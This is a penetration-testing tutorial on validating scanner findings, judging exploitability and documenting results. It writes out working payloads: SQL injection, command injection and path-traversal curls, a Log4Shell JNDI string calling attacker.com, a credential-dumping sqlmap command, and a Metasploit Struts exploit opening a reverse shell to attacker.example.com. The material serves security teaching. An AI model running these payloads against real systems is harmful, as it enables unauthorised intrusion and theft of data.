From Vulnerability to Exploit

The Scanner Noise Problem

Vulnerability scanners like Nessus, Qualys, and OpenVAS generate hundreds of findings. Many are false positives — the scanner detected a version string that matches a CVE, but the actual vulnerability does not exist in the environment. Your first job is to separate real vulnerabilities from scanner noise.

Why Scanners Produce False Positives

Scanners work by matching version strings against vulnerability databases. They do not actually test whether the vulnerability is exploitable. Common false positive scenarios:

1. Version mismatch — The banner says "Apache 2.4.41" but the actual version is patched
2. Configuration differences — The vulnerability exists in the default config but the target has mitigations
3. Backported patches — The vendor backported a security fix without changing the version number
4. Different product — The scanner misidentified the product (e.g., nginx vs. Apache)

The Validation Process

For each scanner finding, follow this validation process:

Step 1: Verify the version

Manually confirm the version string. Do not trust the scanner's version detection.

# Check the actual version
curl -sI https://target.example.com | grep Server
nc -v target.example.com 22

Step 2: Check for compensating controls

Even if the version is vulnerable, the environment may have mitigations:

• WAF (Web Application Firewall) — May block exploit attempts
• IDS/IPS — May detect and block exploit traffic
• Configuration hardening — May disable the vulnerable feature
• Network segmentation — May prevent access to the vulnerable service

Step 3: Attempt a safe proof of concept

Before running a full exploit, test with a harmless payload that confirms the vulnerability without causing damage:

# For SQL injection — test with a simple payload
curl "https://target.example.com/api/users?id=1' OR '1'='1"

# For XSS — test with a benign alert
curl "https://target.example.com/search?q=<script>alert(1)</script>"

# For command injection — test with a harmless command
curl "https://target.example.com/ping?host=127.0.0.1;id"

Step 4: Document the validation

Record your validation steps and results:

Finding: CVE-2021-41773 (Apache Path Traversal)
Scanner Version: Apache 2.4.49
Manual Verification: Confirmed via curl -sI (Server: Apache/2.4.49)
Compensating Controls: None detected
Proof of Concept: curl --path-as-is https://target.example.com/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd
Result: VULNERABLE — /etc/passwd contents returned

When to Accept Scanner Findings Without Full Exploitation

Some vulnerabilities are well-known and reliable enough to report without full exploitation:

• Missing security headers — Verified by inspecting response headers
• Weak SSL/TLS configuration — Verified by SSL Labs scan or testssl.sh
• Default credentials — Verified by attempting login with default credentials
• Information disclosure — Verified by observing the exposed data

For these, document the evidence and move on. Reserve full exploitation for high-impact vulnerabilities where proof of concept is needed.

Beyond CVSS Scores

CVSS scores quantify severity but do not tell you whether a vulnerability is actually exploitable in your environment. A CVSS 9.8 vulnerability may be unexploitable due to configuration, while a CVSS 5.3 vulnerability may be trivially exploitable due to missing controls.

Factors That Affect Exploitability

1. Access Requirements

• Unauthenticated — No login required; highest exploitability
• Authenticated (low privilege) — Requires a user account; moderate exploitability
• Authenticated (high privilege) — Requires admin access; lower exploitability

2. Network Position

• Internet-facing — Directly accessible from anywhere; highest risk
• Internal only — Requires VPN or internal network access; lower risk
• Isolated — Air-gapped or heavily segmented; lowest risk

3. Configuration

• Default configuration — Vulnerability is exploitable as-is
• Hardened configuration — Vulnerability may be mitigated by configuration changes
• Feature disabled — Vulnerable feature is not enabled; not exploitable

4. Compensating Controls

• WAF — May block exploit payloads
• IDS/IPS — May detect and alert on exploit attempts
• Rate limiting — May prevent brute-force or automated exploitation
• Input validation — May sanitize exploit payloads

The Exploitability Matrix

Practical Example: Assessing a Finding

Finding: CVE-2021-44228 (Log4Shell) — CVSS 10.0

Assessment:

1. Version verification — Confirmed Log4j 2.14.1 in use
2. Access requirements — Unauthenticated; any input that gets logged triggers the vulnerability
3. Network position — Internet-facing web application
4. Configuration — Default configuration; no JNDI restrictions
5. Compensating controls — WAF present but does not block JNDI payloads

Conclusion: Exploitable. The combination of unauthenticated access, internet-facing deployment, default configuration, and ineffective WAF makes this a critical, immediately exploitable vulnerability.

Prioritization Framework

Prioritize vulnerabilities by combining:

1. Impact — What can an attacker achieve? (RCE > data theft > DoS)
2. Exploitability — How easy is it to exploit? (unauthenticated > authenticated)
3. Exposure — How accessible is the target? (internet-facing > internal)
4. Confidence — How certain are you that it is real? (validated > scanner-only)

Priority = Impact × Exploitability × Exposure × Confidence

Documenting Exploitability Assessment

For each vulnerability, document:

Vulnerability: CVE-2021-44228 (Log4Shell)
CVSS: 10.0
Impact: Remote Code Execution
Exploitability:
  - Access: Unauthenticated
  - Network: Internet-facing
  - Configuration: Default
  - Controls: WAF (ineffective against JNDI)
Validation: Confirmed via JNDI injection payload
Proof of Concept: ${jndi:ldap://attacker.com/a}
Priority: Critical — immediate exploitation recommended

The End-to-End Process

From discovering a vulnerability to confirming exploitation, the complete flow is:

Discovery → Validation → Assessment → Exploitation → Documentation

Phase 1: Discovery

Vulnerabilities are discovered through:

• Automated scanning — Nessus, Qualys, OpenVAS, Burp Scanner
• Manual testing — Burp Repeater, custom scripts, manual input testing
• Code review — Source code analysis for logic flaws
• Threat intelligence — CVE announcements, vendor advisories

Phase 2: Validation

Confirm the vulnerability is real:

1. Verify the affected component exists in the environment
2. Check for compensating controls
3. Attempt a safe proof of concept
4. Document the validation evidence

Phase 3: Assessment

Determine if the vulnerability is exploitable:

1. Evaluate access requirements
2. Assess network exposure
3. Review configuration and controls
4. Calculate priority based on risk

Phase 4: Exploitation

Exploit the vulnerability to confirm impact:

1. Choose an appropriate exploit (Metasploit, custom script, public PoC)
2. Configure the exploit for the target environment
3. Execute the exploit in a controlled manner
4. Document the exploitation with evidence (screenshots, logs)

Phase 5: Documentation

Record the complete finding:

Vulnerability: SQL Injection in login form
CVE: CVE-2023-12345
CVSS: 9.8 (Critical)

Affected System: target.example.com (192.168.1.100)
Affected Component: Login form (POST /login)

Validation:
- Manual testing confirmed SQL injection in username parameter
- Payload: admin' OR '1'='1' --
- Response: Successful login as admin

Assessment:
- Access: Unauthenticated
- Network: Internet-facing
- Configuration: Default
- Controls: None

Exploitation:
- Tool: sqlmap
- Command: sqlmap -u https://target.example.com/login --data="username=admin&password=test" --dbs
- Result: Extracted database names, tables, and user credentials

Impact:
- Complete database compromise
- User credentials exfiltrated
- Potential for further exploitation via extracted data

Remediation:
- Use parameterized queries/prepared statements
- Implement input validation
- Apply principle of least privilege to database user

Practical Example: From Scanner to Shell

Scanner finding: Apache Struts 2.5.12 — CVE-2017-5638 (RCE)

Validation:

# Verify version
curl -sI https://target.example.com | grep -i struts
# Response: X-Struts-Version: 2.5.12

# Test with safe payload
curl -H "Content-Type: %{#cmd='id'}.multipart/form-data" https://target.example.com/upload
# Response contains uid=0(root) gid=0(root)

Assessment: Unauthenticated, internet-facing, default config, no WAF → Exploitable

Exploitation:

# Use Metasploit
msfconsole
use exploit/multi/http/struts2_content_type_ognl
set RHOSTS target.example.com
set RPORT 443
set TARGETURI /upload
set PAYLOAD linux/x64/meterpreter/reverse_https
set LHOST attacker.example.com
set LPORT 443
exploit

Result: Meterpreter session opened. Vulnerability confirmed as exploitable with full RCE.

Common Mistakes

• Skipping validation — Reporting scanner findings without confirming they are real
• Ignoring compensating controls — Assuming a vulnerability is exploitable without checking for WAF/IDS
• Over-exploiting — Using a destructive exploit when a safe proof of concept would suffice
• Poor documentation — Failing to record the complete path from discovery to exploitation
• Not considering business impact — Focusing on technical severity without considering what the vulnerability means for the business